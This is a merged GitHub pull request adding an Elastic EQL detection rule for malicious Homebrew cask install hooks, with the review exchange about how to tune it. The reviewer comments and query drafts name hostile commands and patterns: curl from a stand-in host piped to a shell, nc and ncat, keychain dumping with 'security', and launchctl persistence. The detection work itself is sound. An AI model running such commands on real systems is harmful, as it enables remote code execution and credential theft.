Skip to content

[New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter - #6620

Merged
shashank-elastic merged 8 commits into
elastic:mainfrom
clivoa:feature/mac2-homebrew-cask-hook
Dec 1, 2026
Merged

shashank-elastic merged 8 commits into
elastic:mainfrom
clivoa:feature/mac2-homebrew-cask-hook

Conversation

@clivoa

@clivoa clivoa commented Aug 7, 2026 •

Copy link
Copy Markdown
Contributor

Summary

Adds a new detection rule: Suspicious Child Process of Homebrew's Bundled Ruby Interpreter (rules/macos/execution_homebrew_cask_suspicious_hook_child_process.toml).

Update 2026-10-31: after review the rule moved from excluding Homebrew's own children to an inclusion list of what a malicious hook would run, and it was renamed to match. The measurements behind that change are in the review thread. The validation section below describes the original exclusion-based version.

Update 2026-10-31, second round: the shell clause now accepts grouped options (-xc, -lc), the untrusted-binary exclusion covers only Homebrew's vendor/portable-ruby/<version>/bin/ruby, and the response section no longer recommends brew uninstall. Measured on macOS 26.6.2 (arm64), Homebrew 7.0.11, with eslogger exec fork replayed through _eql/search: hooks running /bin/bash -xc 'curl ... | sh' and /bin/zsh -lc "osascript ..." and an ad-hoc signed payload copied into vendor/portable-ruby/ all match (the previous query caught only the osascript process that the zsh -lc shell executes into); a benign cask and the real rectangle cask, installed and uninstalled, produce no match; and the earlier test-cask capture still gives the same 14 matches and no new ones. A test cask's uninstall_postflight block ran during brew uninstall --cask, which is why the remediation changed.

Relates to #6617, the discussion issue for this rule, opened per CONTRIBUTING.md's issue-first process. Not closing it with this PR since the maintainer conversation there may still be ongoing.

What it detects and why

An unexpected child process of Homebrew's bundled Ruby interpreter (vendor/portable-ruby) during a brew install --cask operation. Homebrew Cask preflight/postflight/uninstall stanzas run arbitrary Ruby code, including shelling out, at install time. A malicious or compromised cask can use this to execute code with the installing user's privileges.

Checked for overlap with existing rules before building: Homebrew is macOS's dominant developer package manager and had zero coverage in elastic/detection-rules prior to this rule, including no representation in the existing cross-platform package-manager ancestor meta-rule (344e6c7d-ceb0-4f20-ba04-7c75569a7e38), which only recognizes npm/pip/cargo. This is the macOS analogue of the same install-time-hook-abuse pattern already covered for npm/Composer/pip elsewhere in this ruleset.

Data source / MITRE mapping

  • Data source: Elastic Defend (logs-endpoint.events.process*), macOS only
  • MITRE ATT&CK: T1195.002 (Compromise Software Supply Chain) under Initial Access (TA0001); T1059 (Command and Scripting Interpreter) under Execution (TA0002)
  • Behavior-based: yes, process-ancestry and exclusion-list based, not keyed to any specific cask or payload.

Validation performed

Real lab testing against a live Elastic Defend deployment on macOS, including a fresh re-test today (2026-08-07):

  • Built a real local Homebrew tap with a cask defining a postflight block that shells out, and captured the real resulting event live (see redacted example in [New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter #6617).
  • Exclusion list was corrected twice from real measurement, not assumption. First: Homebrew's own internal package-management operations (archive extraction, quarantine/xattr handling, symlinking) are indistinguishable at the process-tree level from a cask's own hook code, so they were excluded based on a real clean-cask baseline. Second (today): a fresh re-test found Homebrew also spawns its own environment/requirement-check utilities (bash/sh, getconf, mdfind, pkgutil, xcode-select) as direct children of the interpreter on every invocation, regardless of HOMEBREW_NO_AUTO_UPDATE/HOMEBREW_NO_ANALYTICS. An earlier pass had incorrectly attributed this noise solely to those settings. Re-confirmed live via _eql/search that the real hook event still matches and this real noise no longer does (0 false positives across 16 distinct legitimate process names observed in one ordinary install).

False positives / noise level

Documented in false_positives: this rule is scoped and tested against binary-artifact casks only. app-artifact casks (likely need Gatekeeper-tooling exclusions such as codesign/spctl/mdimport/lsregister, not yet measured) and formula (non-cask) source builds (measured to have a much wider legitimate child-process baseline) are explicitly disclosed as out of scope rather than silently assumed covered.

Checklist (per CONTRIBUTING.md)

  • Issue opened first ([New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter #6617); issue-first discussion is why this PR references rather than closes it
  • python -m detection_rules validate-rule passes locally against this repo's own current main
  • MITRE ATT&CK mapping included
  • false_positives and noise-level expectations documented, including disclosed untested cases (app-artifact casks, formula builds)
  • Investigation guide (note field: triage steps, false-positive analysis, response/remediation) included
  • Elastic Contributor License Agreement, already signed for this account

Detects an unexpected child process of Homebrew's bundled Ruby
interpreter (vendor/portable-ruby) during a cask install, catching
preflight/postflight/uninstall hook abuse in a malicious or
compromised cask.

Validated against real Elastic Defend telemetry on macOS, including a
fresh re-test today: a real cask postflight hook event was captured,
and the exclusion list was corrected after real testing showed
Homebrew's own environment/requirement-check utilities (bash/sh,
getconf, mdfind, pkgutil, xcode-select) run as direct children of the
interpreter on every invocation regardless of
HOMEBREW_NO_AUTO_UPDATE/HOMEBREW_NO_ANALYTICS. Re-confirmed live via
_eql/search that the real hook event still matches and this noise no
longer does.

Relates to elastic#6617
clivoa added 2 commits August 10, 2026 23:00
Set maturity = production so the rule is actually shipped to the product,
per maintainer feedback on elastic#6612. Promoting it surfaced one check the repo's
test suite only applies to production rules: added
timestamp_override = "event.ingested", required for non-sequence EQL/KQL
rules by TestRuleTiming::test_event_override.

Verified with detection_rules validate-rule and the production-gated checks
in the repo's test suite.
…tives, setup, references

- Trimmed the description to the rule itself, dropping the comparison against
  the package-manager meta-rule.
- Rewrote false_positives. The previous entries described how the exclusion
  list was built and which utilities do not match, which is development
  history rather than false positives. They now describe traffic that does
  match and can be benign: an unlisted Homebrew utility, app-artifact casks,
  and formula source builds.
- Replaced the setup block with the standard Elastic Defend text.
- Added threat context references for macOS campaigns targeting Homebrew
  users with infostealers.
@clivoa

clivoa commented Aug 10, 2026

Copy link
Copy Markdown
Contributor Author

Applying the points from the #6612 review here as well.

false_positives had turned into a development log. Two of the three entries explained how the exclusion list was measured and which utilities therefore do not match, which is history rather than false positives. The genuine content was in the third entry, so the field now leads with what does match: a Homebrew version shelling out to a utility not on the tested list, app-artifact casks invoking Gatekeeper and registration tooling during a normal install, and formula source builds, which spawn a far wider legitimate child set and sit outside this rule's scope.

Both scope limits are real and worth stating plainly. The exclusion list was measured against binary-artifact casks, and most casks in practice are app-artifact, so anyone deploying this broadly should measure codesign, spctl, mdimport and lsregister in their own environment first.

The description no longer compares this rule against the package-manager ancestry meta-rule, maturity is production, and the setup block is the standard Defend one. References now point at the macOS campaigns that target Homebrew users with infostealers. The query is unchanged.

process.parent.executable like~ "*/Homebrew/vendor/portable-ruby/*" and
not process.name in (
"env", "xattr", "chmod", "chown", "tar", "bsdtar", "ln", "hdiutil", "xargs", "defaults", "clang", "sysctl",
"bash", "sh", "getconf", "mdfind", "pkgutil", "xcode-select"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A malicious cask that routes through bash -c which is the standard approach is completely invisible.

Instead of excluding bash and sh why don't we consider

and not (process.name in~ ("bash", "sh") and
process.command_line like~ ("getconf", "xcode-select", "mdfind", "pkgutil"))

This wasy bash -c "curl evil.com | sh" alerts and Homebrew's own bash -c "getconf DARWIN_USER_TEMP_DIR" still matches the exclusion and it doesn't alert.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done. Removed bash and sh from the name exclusion and added a command-line-scoped clause: they are excluded only when the command line names a Homebrew helper (getconf, xcode-select, mdfind, pkgutil). Verified on real captured telemetry through an EQL engine: a bash -c "curl ... | sh" hook and a bash -c "osascript ..." hook now match, while Homebrew's own bash -c "getconf ..." and sh -c "xcode-select ..." probes stay excluded. The hook's parent was confirmed to be portable-ruby by a diagnostic hook that recorded its own parent.

process where event.action == "exec" and host.os.type == "macos" and
process.parent.executable like~ "*/Homebrew/vendor/portable-ruby/*" and
not process.name in (
"env", "xattr", "chmod", "chown", "tar", "bsdtar", "ln", "hdiutil", "xargs", "defaults", "clang", "sysctl",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If clang genuinely fires during clean binary-artifact cask installs, that should be documented.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Measured this: on a binary-artifact cask install, clang did not appear as a child of portable-ruby (the direct children were sysctl, tput, env and bsdtar). It stays in the exclusion list conservatively because formula-adjacent paths can invoke it, and the rule is scoped to binary-artifact casks. Noted in false_positives.

[rule]
author = ["clivoa"]
description = """
This rule detects an unexpected child process spawned by Homebrew's own bundled Ruby interpreter

@shashank-elastic shashank-elastic Sep 28, 2026 •

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This rule detects an unexpected child process spawned by Homebrew's own bundled Ruby interpreter
(vendor/portable-ruby) during a brew install --cask operation for binary-artifact casks.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in e45718f: the description now reads "for a binary-artifact cask".

"""
false_positives = [
"""
Homebrew's own internal package-management work runs as children of the same bundled Ruby interpreter and is

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On worthy note is app-artifact cask environments require additional tuning per user environment before production use.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Kept, and stated more explicitly in false_positives: app-artifact casks invoke Gatekeeper and registration tooling and need per-environment tuning before broad deployment. The rule stays scoped to binary-artifact casks.


- See this rule's `false_positives` field: `app`-artifact casks are expected to trigger this on their own normal
Gatekeeper/registration steps until the exclusion list is extended with real measured data; formula (non-cask)
builds are out of scope entirely and not covered by this rule's exclusion list.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Investigation guide is missing a Response and remediation section.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added a Response and remediation section to the investigation guide in e45718f.

…ew helper command lines, add Response and remediation, scope to binary-artifact casks
@clivoa

clivoa commented Oct 19, 2026

Copy link
Copy Markdown
Contributor Author

@shashank-elastic thanks, this was the right call. Addressed in e45718f, with a real measurement behind the query change.

I could not enroll Elastic Defend on the test Mac over SSH (the two GUI consent steps), so I captured exec telemetry with eslogger exec fork, Apple's built-in Endpoint Security CLI. It reads the same kernel exec stream Defend subscribes to, so process name, command line and parent lineage are the same values; it does not carry Defend's code-signature enrichment, which this exclusion does not use. macOS 26.6.2, Apple Silicon.

What I measured, installing a local binary-artifact cask with a postflight hook:

  • A cask hook's shell is a direct child of portable-ruby: a diagnostic hook recorded its parent as /opt/homebrew/Library/Homebrew/vendor/portable-ruby/current/bin/ruby ... brew.rb install --cask .... So process.parent.executable matches the rule on real hardware.
  • With bash and sh excluded by name, a hook of the form /bin/bash -c "curl ... | sh" is excluded and never alerts. That is the gap you pointed at.
  • Running the old and new queries through a real EQL engine over the captured events: the old query misses both a curl | sh hook and a osascript do shell script hook; the new one catches both while still excluding Homebrew's own bash -c "getconf ..." and sh -c "xcode-select ..." probes.

Changes:

  • bash/sh are no longer excluded by name. They are excluded only when the command line names a Homebrew helper lookup (getconf, xcode-select, mdfind, pkgutil), so a shell hook doing anything else matches.
  • Description now says "for a binary-artifact cask".
  • Added a Response and remediation section to the guide.
  • Added tput to the name exclusion: tput cols showed up as a real benign child of portable-ruby in the capture.

On clang: it did not fire as a child of portable-ruby for a binary-artifact cask install in this capture. It is retained in the exclusion list conservatively, since formula-adjacent paths can invoke it; the rule stays scoped to binary-artifact casks, with app-artifact casks and formula builds documented as out of scope in false_positives. Full test suite passes on the branch (316).

@litemars

Copy link
Copy Markdown
Contributor

Hi @clivoa,

I’m picking up this PR now. Did you consider an inclusion-based approach rather than an exclusion-based one?

I was thinking of something like this to reduce false positives (it's just an idea)

What do you think?

process where event.action == "exec" and host.os.type == "macos" and
 process.parent.executable like~ "*/Homebrew/vendor/portable-ruby/*" and
 process.parent.args in ("install", "reinstall", "upgrade") and
 (
   process.name in ("nc", "perl", "node", "python*", "sqlite3") or

   (process.name == "osascript" and
    process.command_line like~ ("*do shell script*", "*display dialog*", "*hidden answer*")) or

   (process.name == "launchctl" and
    process.args in ("load", "bootstrap", "submit", "enable")) or

   (process.name == "security" and
    process.args in ("find-generic-password", "find-internet-password", "dump-keychain", "export")) or
   (process.name == "dscl" and process.args == "-authonly") or


   (process.name in ("bash", "sh", "zsh", "dash") and
    process.command_line like~ ("*curl *", "*wget *", "*osascript*", "*base64*",
                                "*python -c*", "*python3 -c*", "*perl -e*", "*eval *",
                                "*launchctl load*", "*launchctl bootstrap*", "*nohup*", "*LaunchAgents*", "*LaunchDaemons*",
                                "*|*sh*", "*chmod +x*", "*com.apple.quarantine*",
                                "*dscl*", "*security find-*", "*sqlite3*")) or

  
   process.executable like~ ("/tmp/*", "/private/tmp/*", "/var/folders/*", "/Users/Shared/*") or

   (process.code_signature.trusted == false or process.code_signature.exists == false)
 )

Copilot AI balanced review requested due to automatic review settings October 31, 2026 13:16
@clivoa clivoa changed the title [New Rule] Unusual Child Process of Homebrew's Bundled Ruby Interpreter [New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter Oct 31, 2026
@clivoa

clivoa commented Oct 31, 2026

Copy link
Copy Markdown
Contributor Author

@litemars I tried the inclusion approach, measured it, and switched the rule to it in 9362927. The measurement also showed that the current exclusion-based query is far too noisy on Homebrew 7.0.9, so this is the better direction.

How I tested: macOS 26.6.2 (arm64), Homebrew 7.0.9. I captured exec and fork events for the whole session with eslogger (Apple's Endpoint Security CLI), converted them to Defend's ECS field shape and ran each query through the EQL endpoint of Elasticsearch 9.4.0. I installed 10 binary-artifact test casks from a local tap, each with one postflight hook, and 4 real casks from homebrew/cask (ngrok, foks, rectangle, pd), then uninstalled everything. Code-signature trust comes from the Endpoint Security validation category, since eslogger doesn't produce Defend's trusted field.

Current query Your draft This commit
Matches on clean activity (benign getconf hook + 4 real casks, install and uninstall) 125 41 0
bash -c "curl ... | sh" hook match match match
osascript -e 'do shell script ...' hook match match match
bash -c "osascript ..." hook match match match
python3 -c hook match miss match
launchctl load hook match match match
ad-hoc signed payload run from the Caskroom match match match
payload run from /private/tmp match match match
ditto or zip of a folder match miss miss

Changes from your draft, each driven by the capture:

  • process.name like~ "python*". With in, the wildcard is literal, and the python3 -c hook was missed.
  • The shell clause now also requires process.args == "-c". Homebrew downloads through its curl shim, /bin/bash -p .../Homebrew/shims/shared/curl ..., which matched *curl * on every install.
  • The untrusted-signature clause excludes the portable-ruby path. Homebrew runs nested ruby processes from it during installs, and that binary is ad-hoc signed.
  • *|*sh* became explicit pipe-to-shell patterns (*| sh*, *|sh*, *| bash*, *|bash*, *| zsh*), since the original also matches things like | shasum.
  • Added /private/var/folders/* next to /var/folders/*, so both the /tmp and /private/... spellings of the temporary directories are covered.
  • Added ncat next to nc.

The trade-off is what you'd expect from an inclusion list. ditto and zip exfiltration from a hook is no longer caught, and neither are uninstall hooks or a hook that runs a script file instead of an inline -c command. I put that in the guide. I also renamed the rule to "Suspicious Child Process of Homebrew's Bundled Ruby Interpreter" (file renamed to match), since it no longer flags anything unusual by default.

A correction to my previous reply: I said portable-ruby's direct children on a cask install were only sysctl, tput, env and bsdtar. That capture started after brew was already running and missed most of the tree. On a complete capture every install also spawns the curl shim, curl, sandbox-exec and a nested ruby, which is where the current query's 125 matches come from.

One more data point: Homebrew 7.0.9 prints "Calling postflight is deprecated! Use postflight_steps instead" for these Ruby hooks. Official casks have moved to declarative steps, but a third-party tap still executes its Ruby blocks today.

Setup now uses the standard macOS block, same as #6621. Full test suite passes on the branch merged with main (460 passed, 1 skipped).

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

Remediation can execute malicious cask hooks again, while the broad portable-ruby exception allows unsigned payloads to evade detection.

3 open issues
What changed in this PR

Adds macOS detection coverage for suspicious child processes of Homebrew’s bundled Ruby interpreter, addressing the install-time hook abuse scenario discussed in #6617.

Changes:

  • Introduces an Elastic Defend EQL rule scoped to Homebrew install, reinstall, and upgrade operations.
  • Uses an inclusion list of suspicious tools, command patterns, execution paths, and code-signing conditions.
  • Provides investigation guidance, false-positive considerations, setup instructions, and MITRE ATT&CK mappings.
File Description
rules/​macos/​execution_homebrew_cask_suspicious_hook_child_process.toml Adds the Homebrew child-process detection rule and supporting analyst guidance.

Review effort: Balanced

Comment on lines +67 to +68
- Capture the full process tree and command lines before the Caskroom is modified further, then remove the cask
with `brew uninstall --cask` and remove or disable the tap it came from.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed, and confirmed on Homebrew 7.0.11: a test cask's uninstall_postflight block ran /usr/bin/id -un during brew uninstall --cask. In f9089b9 the response section says not to run brew uninstall or reinstall on the suspect cask, to preserve the cask file, and to remove the artifacts, the Caskroom directory and the tap with file system tools on an isolated host.

"*sqlite3*")) or
process.executable like~ ("/tmp/*", "/private/tmp/*", "/var/folders/*", "/private/var/folders/*", "/Users/Shared/*") or
((process.code_signature.trusted == false or process.code_signature.exists == false) and
not process.executable like~ "*/Homebrew/vendor/portable-ruby/*")

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in f9089b9: the exclusion is now */Homebrew/vendor/portable-ruby/*/bin/ruby. I tested it with a cask whose postflight copied an ad-hoc signed binary to vendor/portable-ruby/w27payload and ran it. The old exclusion hid it, the new one matches it, and across the earlier capture (10 test casks and 4 real casks) the only unsigned executable under that tree was 4.0.7/bin/ruby, so nothing new matches.

(process.name == "security" and
process.args in ("find-generic-password", "find-internet-password", "dump-keychain", "export")) or
(process.name == "dscl" and process.args == "-authonly") or
(process.name in ("bash", "sh", "zsh", "dash") and process.args == "-c" and

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in f9089b9 with process.args regex "-[a-zA-Z]*c[a-zA-Z]*". Hooks running /bin/bash -xc 'curl ... | sh' and /bin/zsh -lc "osascript ..." both match now. The Homebrew curl shim (bash -p .../shims/shared/curl) still does not, and no argument in its 84 captured runs fits the pattern.

clivoa and others added 2 commits October 31, 2026 15:38
The shell clause now accepts grouped options such as -xc and -lc, and the untrusted-binary exclusion covers only Homebrew's own vendor/portable-ruby/<version>/bin/ruby instead of the whole directory. The response section no longer recommends brew uninstall, which evaluates the cask again and runs its uninstall hooks. Adds the Platform and Rule Type tags and aligns the dates with the PR.
…ess.toml

Co-authored-by: Bryan Porras <bryan.porras@elastic.co>
@shashank-elastic
shashank-elastic added this pull request to the merge queue Dec 1, 2026
Merged via the queue into elastic:main with commit 5a48308 Dec 1, 2026
10 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants